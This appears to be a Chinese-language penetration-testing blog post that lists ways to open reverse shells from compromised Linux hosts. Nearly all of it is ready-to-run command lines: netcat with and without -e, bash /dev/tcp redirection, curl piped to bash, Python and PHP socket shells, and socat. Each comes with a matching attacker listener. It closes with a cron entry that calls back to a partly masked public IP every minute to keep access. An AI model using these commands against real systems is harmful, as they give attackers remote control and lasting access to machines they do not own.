【Linux环境下的shell反弹】

前言  

    在日常的渗透测试中,当我们拿到一个目标网站的漏洞的时候,往往可以采用shell反弹的方式来进行下一步的操作。反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。一般的shell反弹可以结合命令执行漏洞来实现。

反弹shell的方式

一、nc反弹:

绝大多数的Linux发行版本都装有netcat,但是处于安全考虑都去掉了-e这个参数。原生版的netcat仍然可以现在二进制安装包自己编译,参考:非阉割版本的netcat安装方法。除此仍然有稍微复杂的方法可以反弹:

1:有-e参数,使用nc反弹:

nc 192.168.1.1 11111 -e /bin/bash   //在受害主机中执行命令,反弹shell到192.168.1.1上

nc -lvp 11111   //在192.168.1.1上面使用nc监听11111端口

2:没有-e参数,这个时候可以使用Linux神奇的管道输出符了:

受害主机执行:nc 192.168.1.1 12345 | /bin/bash | 192.168.1.1 54321

192.168.1.1主机上监听: nc -lvvp 12345
                        nc -lvvp 54321

就是将输入的命令和输出的命令用两个不同的端口给反弹回来,然后用192.168.1.1的nc监听。

二、使用bash反弹

个人感觉这个是最方便好用的反弹shell的方式了

bash -i >& /dev/tcp/192.168.1.1/11111 0>1&      //受害主机执行命令

nc -lvp 11111        //黑客主机监听11111端口

说明:【Linux环境下的shell反弹】_第1张图片

 三、curl命令配合bash反弹shell

可以在攻击者搭建的web服务器中将bash -i >& /dev/tcp/192.168.1.1/11111 0>&1 写入到一个.php或者是.html的文件中。然后再受害主机中执行命令如:curl http://192.168.2.1/index.php | bash.命令的意思是:将curl获取到的信息交给bash处理,也就是说,将bash -i >& /dev/tcp/192.168.1.1/11111 0>&1交割bash处理。即可反弹shell。

四、使用python反弹shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.239",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

五、使用php反弹shell:

php -r '$sock=fsockopen("192.168.1.239",7003);exec("/bin/bash -i <&3 >&3 2>&3");'

六、socat反弹shell:

kali上 socat TCP-LISTEN:12346 -
靶机上 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.1:12345

延展

反弹回来shell之后,如果我们能够提权或者找到其他的漏洞可以让我们执行更高权限的命令,那么就可以做到权限维持,可以:将反弹shell命令写入计划任务,让受害主机开机即可自动连接黑客主机,如:*/1 * * * * /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1 #每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell。

你可能感兴趣的:(网络安全,安全,bash)